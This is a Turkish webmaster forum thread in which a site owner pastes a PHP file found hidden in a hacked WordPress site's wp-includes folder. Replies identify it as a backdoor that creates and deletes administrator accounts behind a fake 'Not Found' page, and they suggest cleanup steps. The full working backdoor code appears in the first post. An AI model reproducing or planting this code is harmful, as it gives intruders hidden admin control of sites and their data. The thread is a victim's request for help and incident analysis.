• 01-10-2017, 19:31:44
    #1
    Worpress siteme hacklink eklendiğini gördüm.
    Çeşitli eklentilerle incelerken aşağıdaki kodlarda şüpheye düştüm.
    Anlayan arkadaşlar, ne işe yaradığını belirtebilir mi?
    Sıkıntılı kodlar mı?
    <html> <head> <title>Not Found</title> <meta charset="UTF-8" /> <meta name="robots" content="noindex, nofollow"> </head> <body> <?php if($_SERVER["HTTP_USER_AGENT"] == ""){die("");}         ## Bağlantı Değişkenleri ##         $host     = "localhost";         $user     = "xxx";         $pass     = "xxx";         $db        = "xxx";                  ## Mysql Bağlantısı ##         $baglan = mysql_connect($host, $user, $pass) or die (mysql_Error());                  ## Veritabanı Seçimi ##         mysql_select_db($db, $baglan) or die (mysql_Error());                  ## Karakter Sorunu ##         mysql_query("SET CHARACTER SET 'utf8'");         mysql_query("SET NAMES 'utf8'");         if($_POST["ekle"]){                          $user_login = $_POST["a1"];                      $user_pass = md5($_POST["a2"]);                          $user_nickname = $_POST["a3"];                          $user_mail  = $_POST["a4"];                          $user_url   = $_SERVER['SERVER_NAME'];             // orn. 2016-11-11 18:41:13             $user_registered = date('Y-d-m H:i:s');                          $user_status = 0;                          $display_name = $_POST["a5"];                          $users_ekle = mysql_query("INSERT INTO wp_users SET             user_login = '$user_login',             user_pass = '$user_pass',             user_nicename = '$user_nickname',             user_email = '$user_mail',             user_url = '$user_url',             user_registered = '$user_registered',             user_status = '$user_status',             display_name = '$display_name'");                          $users_z = mysql_query("SELECT ID FROM wp_users WHERE user_login = '$user_login'");             $user = mysql_fetch_array($users_z);             $user_id = $user["ID"];             if($users_ekle){                 $yetki = 'a:1:{s:13:"administrator";b:1;}';                                  $meta_ekle1 = mysql_query("INSERT INTO wp_usermeta SET                 user_id = '$user_id',                 meta_key = 'wp_capabilities',                 meta_value = '$yetki'");                 $meta_ekle2 = mysql_query("INSERT INTO wp_usermeta SET                 user_id = '$user_id',                 meta_key = 'wp_user_level',                 meta_value = '10'");                                  if($meta_ekle1 AND $meta_ekle2){                                          echo '<b style="color:green;">BAŞARILI KULLANICI EKLENDİ.</b>';                                      }else{                                          echo '<b style="color:red;">HATA! AŞAMA :: 2 :: '.mysql_error().'</b>';                 }                              }else{                                  echo '<b style="color:red;">HATA! AŞAMA :: 1 :: '.mysql_error().'</b>';             }                      }                  if($_GET["sil"]){                          $id = $_GET["sil"];                          $delete = mysql_query("DELETE FROM wp_users WHERE ID = '$id'");                          if($delete){                                  $diger = mysql_query("DELETE FROM wp_usermeta WHERE user_id = '$id'");                 if($diger){                                          echo '<b style="color:green">BAŞARILI, SİLİNDİ.</b>';                                      }else{                                          echo 'HATA! (KOD:2) Silerken hata oluştu. ';                                      }             }else{                 echo 'HATA! Silerken hata oluştu. ';             }                      } ?> <h1>EKLE</h1> <hr></hr> <form action="" method="POST">     <input type="textbox" placeholder="kullanıcı adı" name="a1" /><br/><br/>     <input type="password" placeholder="şifre" name="a2" /><br/><br/>     <input type="textbox" placeholder="ad soyad" name="a3" /><br/><br/>     <input type="textbox" placeholder="eposta" name="a4" /><br/><br/>     <input type="textbox" placeholder="görünecek isim" name="a5" /><br/><br/>     <input type="submit" name="ekle" value=">> EKLE >>"/> </form> <h1>SİL</h1> <hr></hr> <table> <tr> <th>Kullanıcı Adı</th> <th>Şifre</th> <th>Ad Soyad</th> <th>E-Posta</th> <th>Görünecek İsim</th> <th>@@</th> </tr> <?php   $query = mysql_query("SELECT * FROM wp_users");   while($row = mysql_fetch_array($query)){   extract($row); ?> <tr>   <td><?php echo $user_login ?></td>   <td><?php echo "*****" ?></td>   <td><?php echo $user_nicename ?></td>   <td><?php echo $user_email ?></td>   <td><?php echo $display_name ?></td>   <td><a href="http://<?php echo $_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']; ?>?sil=<?php echo $ID; ?>">S İ L</a></td> </tr> <?php   } ?> </table> </body> </html>
    GÜNCELLEME: Sitelere hacklink ekleyen isim olarak Adem Bozkurt çıkıyor. Var mıdır bu şahsı tanıyan? Ne yapılabilir?
  • 01-10-2017, 19:36:44
    #2
    @Moonweb;
    Yani Bu kodlarla wordpress sitenize yeni user eklenebilir ve silinebilir, admin yetkisiyle user ekleyebilirler, bulundugu dosyanın adını ve bilgisini atarsanız detaylıca kim yapmış, kimin ürünü anlayabiliriz.,
  • 01-10-2017, 19:37:29
    #3
    Üyeliği durduruldu
    Backdoor eklenmiş, administrator girişi var. Hangi tema ve ya eklentileri kullanıyordunuz ve bu kod hangisinde çıktı? Ek olarak daha az önce bu tip durumların yaşanmaması için bir konu açmıştım.
    https://www.r10.net/genel-webmaster-k...le-okuyun.html
  • 01-10-2017, 19:39:25
    #4
    Wtapostar adlı üyeden alıntı: mesajı görüntüle
    @Moonweb;
    Yani Bu kodlarla wordpress sitenize yeni user eklenebilir ve silinebilir, admin yetkisiyle user ekleyebilirler, bulundugu dosyanın adını ve bilgisini atarsanız detaylıca kim yapmış, kimin ürünü anlayabiliriz.,
    Yani,, muhtemelen hacklink ekleme olayı bu kodlardan kaynaklanıyor öyle mi?
    Kodlar wp-includes klasörü içerisinde class-wp-test.php dosyasında yer almakta.
  • 01-10-2017, 19:42:21
    #5
    Moonweb adlı üyeden alıntı: mesajı görüntüle
    Yani,, muhtemelen hacklink ekleme olayı bu kodlardan kaynaklanıyor öyle mi?
    Kodlar wp-includes klasörü içerisinde class-wp-test.php dosyasında yer almakta.

    Wordpress çekirdek dosyalarında öyle bir dosya bulunmamakta, hacklinkten ziyade buradan admin oluşturup direk panele girip ekliyor, sadece hacklink değil isterse verilerinizede zarar verebilir, nede olsa admin yetkisinde kullanıcı oluşturabiliyor.

    Yani Bu kodlardan kaynaklanıyor.
  • 01-10-2017, 19:44:17
    #6
    HatayMaster adlı üyeden alıntı: mesajı görüntüle
    Backdoor eklenmiş, administrator girişi var. Hangi tema ve ya eklentileri kullanıyordunuz ve bu kod hangisinde çıktı? Ek olarak daha az önce bu tip durumların yaşanmaması için bir konu açmıştım.
    https://www.r10.net/genel-webmaster-k...le-okuyun.html
    Sitemde herhangi bir ***** kullanmıyorum.
    Temam http://www.renklitema.com/urun/fresh/

    Accelerated Mobile Pages
    Ad Inserter
    Akismet Anti-Spam
    AMP
    Easy WP SMTP
    Kırık Bağlantı Bildirici
    NextScripts: Social Networks Auto-Poster
    Really Simple SSL
    Sağlık Hesaplama Eklentisi
    SEO Friendly Images
    Table of Contents Plus
    Wordfence Security / Bunu yeni kurdum
    WP-Optimize
    Yoast SEO
    Ek olarak post-view eklentisi vardı. Onu sildim.

    Bu arada konunuzu biraz önce görmüştüm. Yan sekmede açıktı. İnceliyorum.

    --R10.NET; Flood Engellendi -->-> Yeni yazılan mesaj 19:44:17 -->-> Daha önceki mesaj 19:43:07 --

    Wtapostar adlı üyeden alıntı: mesajı görüntüle
    Wordpress çekirdek dosyalarında öyle bir dosya bulunmamakta, hacklinkten ziyade buradan admin oluşturup direk panele girip ekliyor, sadece hacklink değil isterse verilerinizede zarar verebilir, nede olsa admin yetkisinde kullanıcı oluşturabiliyor.

    Yani Bu kodlardan kaynaklanıyor.
    Çok teşekkür ederim cevabınız için.
    Bu dosyayı sildim ama sanırım önemli olan nasıl eklediği.
    Bu konuda bir öneriniz var mı?
  • 01-10-2017, 19:46:08
    #7
    Üyeliği durduruldu
    Moonweb adlı üyeden alıntı: mesajı görüntüle
    Sitemde herhangi bir ***** kullanmıyorum.
    Temam http://www.renklitema.com/urun/fresh/

    Accelerated Mobile Pages
    Ad Inserter
    Akismet Anti-Spam
    AMP
    Easy WP SMTP
    Kırık Bağlantı Bildirici
    NextScripts: Social Networks Auto-Poster
    Really Simple SSL
    Sağlık Hesaplama Eklentisi
    SEO Friendly Images
    Table of Contents Plus
    Wordfence Security / Bunu yeni kurdum
    WP-Optimize
    Yoast SEO
    Ek olarak post-view eklentisi vardı. Onu sildim.

    Bu arada konunuzu biraz önce görmüştüm. Yan sekmede açıktı. İnceliyorum.
    Konuda da belirttim, w-arez olup olmaması korunmak için tek sebep değil. Yanlız şöyle bir durum var, verdiğiniz kod ve açıklamaları Türkçe yazılmış. Bu sebeple eğer kullandıklarınız w-arez değilse tema yapımcısının işi olabilir..
  • 01-10-2017, 19:48:02
    #8
    Moonweb adlı üyeden alıntı: mesajı görüntüle
    Sitemde herhangi bir ***** kullanmıyorum.
    Temam http://www.renklitema.com/urun/fresh/

    Accelerated Mobile Pages
    Ad Inserter
    Akismet Anti-Spam
    AMP
    Easy WP SMTP
    Kırık Bağlantı Bildirici
    NextScripts: Social Networks Auto-Poster
    Really Simple SSL
    Sağlık Hesaplama Eklentisi
    SEO Friendly Images
    Table of Contents Plus
    Wordfence Security / Bunu yeni kurdum
    WP-Optimize
    Yoast SEO
    Ek olarak post-view eklentisi vardı. Onu sildim.

    Bu arada konunuzu biraz önce görmüştüm. Yan sekmede açıktı. İnceliyorum.

    --R10.NET; Flood Engellendi -->-> Yeni yazılan mesaj 19:44:17 -->-> Daha önceki mesaj 19:43:07 --



    Çok teşekkür ederim cevabınız için.
    Bu dosyayı sildim ama sanırım önemli olan nasıl eklediği.
    Bu konuda bir öneriniz var mı?
    Rica ederim.
    Bi zaman yazmıştım okuyabilirsiniz.
    https://programciyiz.biz/wordpress-*...-guvenlimidir/
    Sunucunuzun veya Hostinginizin Log Dosyasına bakın,
    ayrıca sitenizi komple yedekleyip pc nize indirin, tek tek göz atın eklentilere bu dosya varmı diye veya aratın direk dosya adını. temp olarak saklayıp, silinirse tekrar yükletebilirler.
  • 01-10-2017, 19:49:25
    #9
    HatayMaster adlı üyeden alıntı: mesajı görüntüle
    Konuda da belirttim, w-arez olup olmaması korunmak için tek sebep değil. Verdiğiniz kod ve açıklamaları Türkçe yazılmış bu sebeple tema yapımcısının işi bile olabilir.
    Başka bir tema kullanmış olduğum sitemde de aynı durumla karşılaştım. O nedenle temayı arka plana attım gibi.
    Eklentileri azaltıyorum. Kullandığım eklentiler arasında şüpheli gördükleriniz var mı?
    Şu an için çözüm bulabileceğim bir seçenek var mı?